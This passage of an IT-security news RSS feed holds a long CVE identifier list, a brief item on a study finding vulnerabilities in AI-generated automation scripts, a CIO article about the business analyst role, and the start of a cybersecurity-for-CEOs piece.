CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708,
CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348,
CVE-2026-43349, CVE-2026-43350, CVE-2026-43490, CVE-2026-43491,
CVE-2026-43492, CVE-2026-43493, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43499, CVE-2026-43501,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45837, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45988, CVE-2026-45989, CVE-2026-45990, CVE-2026-45991,
CVE-2026-45994, CVE-2026-45995, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46001, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46008, CVE-2026-46009, CVE-2026-46010, CVE-2026-46011,
CVE-2026-46012, CVE-2026-46013, CVE-2026-46014, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46020,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46025, CVE-2026-46026, CVE-2026-46027, CVE-2026-46028,
CVE-2026-46029, CVE-2026-46030, CVE-2026-46031, CVE-2026-46032,
CVE-2026-46033, CVE-2026-46034, CVE-2026-46035, CVE-2026-46036,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46039, CVE-2026-46040,
CVE-2026-46041, CVE-2026-46042, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46045, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46054, CVE-2026-46056, CVE-2026-46057, CVE-2026-46058,
CVE-2026-46059, CVE-2026-46060, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46066,
CVE-2026-46067, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070,
CVE-2026-46071, CVE-2026-46072, CVE-2026-46073, CVE-2026-46074,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46081, CVE-2026-46082,
CVE-2026-46083, CVE-2026-46084, CVE-2026-46085, CVE-2026-46086,
CVE-2026-46087, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46093, CVE-2026-46094,
CVE-2026-46095, CVE-2026-46096, CVE-2026-46097, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46100, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46104, CVE-2026-46105, CVE-2026-46106,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46109, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46118,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46130,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46134,
CVE-2026-46135, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138,
CVE-2026-46139, CVE-2026-46140, CVE-2026-46141, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46147, CVE-2026-46148, CVE-2026-46149, CVE-2026-46150,
CVE-2026-46151, CVE-2026-46152, CVE-2026-46153, CVE-2026-46154,
CVE-2026-46155, CVE-2026-46156, CVE-2026-46157, CVE-2026-46158,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46162,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46165, CVE-2026-46166,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46170,
CVE-2026-46171, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46175, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46181, CVE-2026-46182,
CVE-2026-46183, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46188, CVE-2026-46189, CVE-2026-46190,
CVE-2026-46191, CVE-2026-46192, CVE-2026-46193, CVE-2026-46194,
CVE-2026-46195, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46276,
CVE-2026-46277, CVE-2026-46278, CVE-2026-46279, CVE-2026-46280,
CVE-2026-46281, CVE-2026-46282, CVE-2026-46283, CVE-2026-46284,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46288,
CVE-2026-46289, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46316, CVE-2026-46317,
CVE-2026-46318, CVE-2026-46319, CVE-2026-46320, CVE-2026-46321,
CVE-2026-46322, CVE-2026-46324, CVE-2026-46332, CVE-2026-52904,
CVE-2026-52905, CVE-2026-52906, CVE-2026-52907, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52913, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52918, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52923, CVE-2026-52925,
CVE-2026-52926, CVE-2026-52927, CVE-2026-52928, CVE-2026-52931,
CVE-2026-52932, CVE-2026-52933, CVE-2026-52934, CVE-2026-52936,
CVE-2026-52937, CVE-2026-52941, CVE-2026-52943, CVE-2026-52944,
CVE-2026-52949, CVE-2026-52950, CVE-2026-52951, CVE-2026-52952,
CVE-2026-52953, CVE-2026-52954, CVE-2026-52955, CVE-2026-52956,
CVE-2026-52957, CVE-2026-52958, CVE-2026-52959, CVE-2026-52960,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52965, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52971, CVE-2026-52973, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52976, CVE-2026-52977, CVE-2026-52978,
CVE-2026-52979, CVE-2026-52980, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52983, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52987, CVE-2026-52988, CVE-2026-52989, CVE-2026-52990,
CVE-2026-52991, CVE-2026-52992, CVE-2026-52993, CVE-2026-52994,
CVE-2026-52995, CVE-2026-52996, CVE-2026-52997, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53000, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53005, CVE-2026-53006,
CVE-2026-53007, CVE-2026-53008, CVE-2026-53009, CVE-2026-53010,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53017, CVE-2026-53018,
CVE-2026-53019, CVE-2026-53020, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53024, CVE-2026-53025, CVE-2026-53026,
CVE-2026-53027, CVE-2026-53028, CVE-2026-53029, CVE-2026-53030,
CVE-2026-53031, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53038,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53042,
CVE-2026-53043, CVE-2026-53044, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53051, CVE-2026-53052, CVE-2026-53053, CVE-2026-53054,
CVE-2026-53055, CVE-2026-53056, CVE-2026-53057, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53067, CVE-2026-53068, CVE-2026-53069, CVE-2026-53070,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53078,
CVE-2026-53079, CVE-2026-53080, CVE-2026-53081, CVE-2026-53082,
CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086,
CVE-2026-53087, CVE-2026-53088, CVE-2026-53089, CVE-2026-53090,
CVE-2026-53091, CVE-2026-53092, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53095, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53099, CVE-2026-53100, CVE-2026-53101, CVE-2026-53102,
CVE-2026-53103, CVE-2026-53104, CVE-2026-53105, CVE-2026-53106,
CVE-2026-53107, CVE-2026-53108, CVE-2026-53109, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53113, CVE-2026-53114,
CVE-2026-53115, CVE-2026-53116, CVE-2026-53117, CVE-2026-53118,
CVE-2026-53119, CVE-2026-53120, CVE-2026-53121, CVE-2026-53122,
CVE-2026-53123, CVE-2026-53124, CVE-2026-53125, CVE-2026-53126,
CVE-2026-53127, CVE-2026-53128, CVE-2026-53129, CVE-2026-53130,
CVE-2026-53174, CVE-2026-53277, CVE-2026-53278, CVE-2026-53279,
CVE-2026-53280, CVE-2026-53281, CVE-2026-53282, CVE-2026-53283,
CVE-2026-53284, CVE-2026-53285, CVE-2026-53286, CVE-2026-53287,
CVE-2026-53288, CVE-2026-53289, CVE-2026-53290, CVE-2026-53291,
CVE-2026-53292, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53297, CVE-2026-53298, CVE-2026-53299,
CVE-2026-53300, CVE-2026-53301, CVE-2026-53302, CVE-2026-53303,
CVE-2026-53304, CVE-2026-53305, CVE-2026-53306, CVE-2026-53307,
CVE-2026-53308, CVE-2026-53309, CVE-2026-53310, CVE-2026-53311,
CVE-2026-53312, CVE-2026-53313, CVE-2026-53314, CVE-2026-53315,
CVE-2026-53316, CVE-2026-53317, CVE-2026-53318, CVE-2026-53319,
CVE-2026-53320, CVE-2026-53321, CVE-2026-53322, CVE-2026-53323,
CVE-2026-53324, CVE-2026-53357, CVE-2026-53358, CVE-2026-53360,
CVE-2026-53364, CVE-2026-53365, CVE-2026-53367, CVE-2026-53368,
CVE-2026-53369, CVE-2026-53370, CVE-2026-53371, CVE-2026-53372,
CVE-2026-53373, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53377, CVE-2026-53378, CVE-2026-53379, CVE-2026-53380,
CVE-2026-63837, CVE-2026-63838, CVE-2026-63839, CVE-2026-63840,
CVE-2026-63841, CVE-2026-63842, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63849, CVE-2026-63850, CVE-2026-63851, CVE-2026-63852,
CVE-2026-63853, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63857, CVE-2026-63858, CVE-2026-63859, CVE-2026-63860,
CVE-2026-63861, CVE-2026-63862, CVE-2026-63863, CVE-2026-63864,
CVE-2026-63865, CVE-2026-63866, CVE-2026-63875, CVE-2026-63876,
CVE-2026-63877, CVE-2026-63878, CVE-2026-63879, CVE-2026-63880,
CVE-2026-63881, CVE-2026-63882, CVE-2026-63883, CVE-2026-63884,
CVE-2026-63886, CVE-2026-63887, CVE-2026-63888, CVE-2026-63889,
CVE-2026-63890, CVE-2026-63891, CVE-2026-63892, CVE-2026-63893,
CVE-2026-63894, CVE-2026-63895, CVE-2026-63896, CVE-2026-63897,
CVE-2026-63898, CVE-2026-63899, CVE-2026-63900, CVE-2026-63901,
CVE-2026-63902, CVE-2026-63903, CVE-2026-63904, CVE-2026-63905,
CVE-2026-63906, CVE-2026-63907, CVE-2026-63908, CVE-2026-63910,
CVE-2026-63911, CVE-2026-63912, CVE-2026-63913, CVE-2026-63914,
CVE-2026-63915, CVE-2026-63916, CVE-2026-63917, CVE-2026-63918,
CVE-2026-63919, CVE-2026-63920, CVE-2026-63921, CVE-2026-63922,
CVE-2026-63923, CVE-2026-63924, CVE-2026-63925, CVE-2026-63926,
CVE-2026-63927, CVE-2026-63928, CVE-2026-63929, CVE-2026-63930,
CVE-2026-63931, CVE-2026-63932, CVE-2026-63933, CVE-2026-63934,
CVE-2026-63935, CVE-2026-63936, CVE-2026-63937, CVE-2026-63938,
CVE-2026-63939, CVE-2026-63940, CVE-2026-63941, CVE-2026-63942,
CVE-2026-63943, CVE-2026-63944, CVE-2026-63945, CVE-2026-63946,
CVE-2026-63947, CVE-2026-63948, CVE-2026-63949, CVE-2026-63950,
CVE-2026-63951, CVE-2026-63952, CVE-2026-63953, CVE-2026-63954,
CVE-2026-63955, CVE-2026-63956, CVE-2026-63957, CVE-2026-63958,
CVE-2026-63959, CVE-2026-63960, CVE-2026-63961, CVE-2026-63962,
CVE-2026-63963, CVE-2026-63964, CVE-2026-63965, CVE-2026-63966,
CVE-2026-63967, CVE-2026-63968, CVE-2026-63969, CVE-2026-63970,
CVE-2026-63971, CVE-2026-63972, CVE-2026-63973, CVE-2026-63974,
CVE-2026-63975, CVE-2026-63976, CVE-2026-63977, CVE-2026-63978,
CVE-2026-63979, CVE-2026-63980, CVE-2026-63981, CVE-2026-63982,
CVE-2026-63983, CVE-2026-63984, CVE-2026-63985, CVE-2026-63986,
CVE-2026-63987, CVE-2026-63988, CVE-2026-63989, CVE-2026-63990,
CVE-2026-63991, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994,
CVE-2026-63995, CVE-2026-63996, CVE-2026-63997, CVE-2026-63998,
CVE-2026-63999, CVE-2026-64000, CVE-2026-64001, CVE-2026-64002,
CVE-2026-64003, CVE-2026-64004, CVE-2026-64005, CVE-2026-64006,
CVE-2026-64007, CVE-2026-64008, CVE-2026-64009, CVE-2026-64010,
CVE-2026-64011, CVE-2026-64012, CVE-2026-64013, CVE-2026-64014,
CVE-2026-64015, CVE-2026-64017, CVE-2026-64018, CVE-2026-64019,
CVE-2026-64020, CVE-2026-64021, CVE-2026-64022, CVE-2026-64023,
CVE-2026-64024, CVE-2026-64025, CVE-2026-64026, CVE-2026-64027,
CVE-2026-64029, CVE-2026-64030, CVE-2026-64031, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64035, CVE-2026-64036,
CVE-2026-64037, CVE-2026-64038, CVE-2026-64039, CVE-2026-64040,
CVE-2026-64041, CVE-2026-64042, CVE-2026-64043, CVE-2026-64044,
CVE-2026-64045, CVE-2026-64046, CVE-2026-64047, CVE-2026-64048,
CVE-2026-64049, CVE-2026-64050, CVE-2026-64051, CVE-2026-64052,
CVE-2026-64053, CVE-2026-64054, CVE-2026-64055, CVE-2026-64056,
CVE-2026-64057, CVE-2026-64058, CVE-2026-64059, CVE-2026-64060,
CVE-2026-64061, CVE-2026-64062, CVE-2026-64063, CVE-2026-64064,
CVE-2026-64065, CVE-2026-64066, CVE-2026-64067, CVE-2026-64068,
CVE-2026-64069, CVE-2026-64070, CVE-2026-64071, CVE-2026-64072,
CVE-2026-64073, CVE-2026-64074, CVE-2026-64075, CVE-2026-64076,
CVE-2026-64077, CVE-2026-64078, CVE-2026-64079, CVE-2026-64080,
CVE-2026-64081, CVE-2026-64082, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64090, CVE-2026-64091, CVE-2026-64093,
CVE-2026-64094, CVE-2026-64095, CVE-2026-64096, CVE-2026-64097,
CVE-2026-64098, CVE-2026-64099, CVE-2026-64100, CVE-2026-64101,
CVE-2026-64102, CVE-2026-64103, CVE-2026-64104, CVE-2026-64105,
CVE-2026-64106, CVE-2026-64107, CVE-2026-64108, CVE-2026-64109,
CVE-2026-64110, CVE-2026-64111, CVE-2026-64112, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64116, CVE-2026-64117,
CVE-2026-64118, CVE-2026-64119, CVE-2026-64120, CVE-2026-64121,
CVE-2026-64122, CVE-2026-64123, CVE-2026-64124, CVE-2026-64125,
CVE-2026-64126, CVE-2026-64127, CVE-2026-64128, CVE-2026-64129,
CVE-2026-64130, CVE-2026-64131, CVE-2026-64132, CVE-2026-64133,
CVE-2026-64134, CVE-2026-64135, CVE-2026-64136, CVE-2026-64137,
CVE-2026-64138, CVE-2026-64140, CVE-2026-64141, CVE-2026-64142,
CVE-2026-64143, CVE-2026-64144, CVE-2026-64145, CVE-2026-64146,
CVE-2026-64147, CVE-2026-64148, CVE-2026-64149, CVE-2026-64150,
CVE-2026-64151, CVE-2026-64152, CVE-2026-64153, CVE-2026-64154,
CVE-2026-64155, CVE-2026-64156, CVE-2026-64157, CVE-2026-64158,
CVE-2026-64159, CVE-2026-64160, CVE-2026-64161, CVE-2026-64162,
CVE-2026-64163, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64167, CVE-2026-64168, CVE-2026-64169, CVE-2026-64170,
CVE-2026-64171, CVE-2026-64172, CVE-2026-64173, CVE-2026-64174,
CVE-2026-64175, CVE-2026-64176, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64180, CVE-2026-64181, CVE-2026-64182,
CVE-2026-64183, CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)]]></content:encoded>
</item>
<item>
<title><![CDATA[Security Flaws Found in Every Script Generated by ChatGPT, Copilot, and Gemini]]></title>
<description><![CDATA[A new academic study from Beacom College of Computer & Cyber Sciences has revealed that every automation script generated by leading AI models ChatGPT, Microsoft Copilot, and Google Gemini contained exploitable security vulnerabilities. As enterprises increasingly rely on AI tools to accelerate d...]]></description>
<link>https://tsecurity.de/de/3691288/it-security-nachrichten/security-flaws-found-in-every-script-generated-by-chatgpt-copilot-and-gemini/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691288/it-security-nachrichten/security-flaws-found-in-every-script-generated-by-chatgpt-copilot-and-gemini/</guid>
<pubDate>Fri, 24 Jul 2026 12:39:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new academic study from Beacom College of Computer &amp; Cyber Sciences has revealed that every automation script generated by leading AI models ChatGPT, Microsoft Copilot, and Google Gemini contained exploitable security vulnerabilities. As enterprises increasingly rely on AI tools to accelerate development workflows, these findings highlight serious risks associated with deploying unreviewed AI-generated code […]</p>
<p>The post <a href="https://cybersecuritynews.com/security-flaws-found-in-ai-script/">Security Flaws Found in Every Script Generated by ChatGPT, Copilot, and Gemini</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



